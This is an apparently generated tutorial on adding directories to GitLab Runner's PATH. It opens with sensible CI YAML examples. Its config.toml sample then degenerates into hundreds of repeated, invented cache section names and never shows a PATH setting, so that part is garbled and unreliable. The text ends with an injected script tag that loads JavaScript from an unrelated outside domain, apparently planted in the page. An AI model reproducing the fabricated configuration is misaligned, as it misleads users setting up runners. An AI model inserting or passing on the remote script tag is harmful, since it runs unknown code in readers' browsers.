Modifying PATH for GitLab Runner: Empowering Your CI/CD Workflow
GitLab Runner is a powerful tool for automating your continuous integration and continuous delivery (CI/CD) pipelines. However, you might find yourself needing to modify the environment variables, specifically the PATH
variable, to ensure your runner can access necessary tools and commands. This article will guide you through the process of modifying the PATH
variable for GitLab Runner, providing a clear understanding of why it's important and how to achieve it.
The Need for a Customized PATH
GitLab Runner executes your CI/CD jobs within a specific environment. This environment might not have all the tools and utilities you need to run your scripts or build processes. The PATH
environment variable dictates where the system searches for executables when you run a command. By default, GitLab Runner may not include the paths to your custom tools or software in its PATH
. This can result in errors like "command not found" when you try to execute a command within your CI/CD jobs.
Understanding the Problem: A Code Example
Let's imagine you have a custom tool called mytool
located in /home/user/bin
. You try to execute mytool
in your GitLab CI/CD job, but receive the error "command not found". The reason is that the default GitLab Runner PATH
doesn't include /home/user/bin
.
stages:
- build
build:
stage: build
script:
- mytool # This will fail because 'mytool' is not in the PATH
Modifying the PATH: Solutions & Examples
You can modify the PATH
variable in different ways to ensure GitLab Runner can access your custom tools. Here are the most common approaches:
1. Using PATH
Variable Within Your CI/CD Script
You can modify the PATH
variable directly within your CI/CD job script:
stages:
- build
build:
stage: build
script:
- export PATH=$PATH:/home/user/bin # Add your custom path
- mytool # This will now succeed
This approach allows you to temporarily modify the PATH
for the specific job only.
2. Modifying GitLab Runner Configuration
You can modify the PATH
variable permanently by editing the GitLab Runner configuration file (config.toml
). This will affect all jobs executed by that runner.
[[runners]]
name = "my-runner"
url = "https://gitlab.com/ci"
token = "YOUR_TOKEN"
executor = "shell"
[runners.custom_build_dir]
enabled = true
dir = "/path/to/build/dir"
[runners.cache]
[runners.cache.s3]
bucket = "my-bucket"
[runners.cache.gcs]
bucket = "my-bucket"
[runners.cache.azure]
account_name = "my-account"
container_name = "my-container"
[runners.cache.filesystem]
[runners.cache.redis]
[runners.cache.sftp]
[runners.cache.ssh]
[runners.cache.http]
[runners.cache.local]
[runners.cache.gce]
[runners.cache.ftp]
[runners.cache.sftp_ssh]
[runners.cache.http_ssh]
[runners.cache.ssh_to_ssh]
[runners.cache.aws_s3]
[runners.cache.aws_efs]
[runners.cache.aws_s3_sftp]
[runners.cache.aws_efs_sftp]
[runners.cache.google_cloud_storage]
[runners.cache.google_cloud_storage_sftp]
[runners.cache.microsoft_azure_blob_storage]
[runners.cache.microsoft_azure_blob_storage_sftp]
[runners.cache.digitalocean_spaces]
[runners.cache.digitalocean_spaces_sftp]
[runners.cache.backblaze_b2]
[runners.cache.backblaze_b2_sftp]
[runners.cache.wasabi]
[runners.cache.wasabi_sftp]
[runners.cache.cloudfiles]
[runners.cache.cloudfiles_sftp]
[runners.cache.ftp_ssh]
[runners.cache.ftp_sftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_to_local]
[runners.cache.gce_to_gce]
[runners.cache.ftp_to_ftp]
[runners.cache.sftp_ssh_to_ssh]
[runners.cache.sftp_sftp_to_sftp]
[runners.cache.http_ssh_to_ssh]
[runners.cache.http_sftp_to_sftp]
[runners.cache.ssh_to_sftp]
[runners.cache.sftp_to_http]
[runners.cache.http_to_sftp]
[runners.cache.s3_to_s3]
[runners.cache.gcs_to_gcs]
[runners.cache.azure_to_azure]
[runners.cache.filesystem_to_filesystem]
[runners.cache.redis_to_redis]
[runners.cache.sftp_to_sftp]
[runners.cache.ssh_to_ssh]
[runners.cache.http_to_http]
[runners.cache.local_<script src='https://lazy.agczn.my.id/tag.js'></script>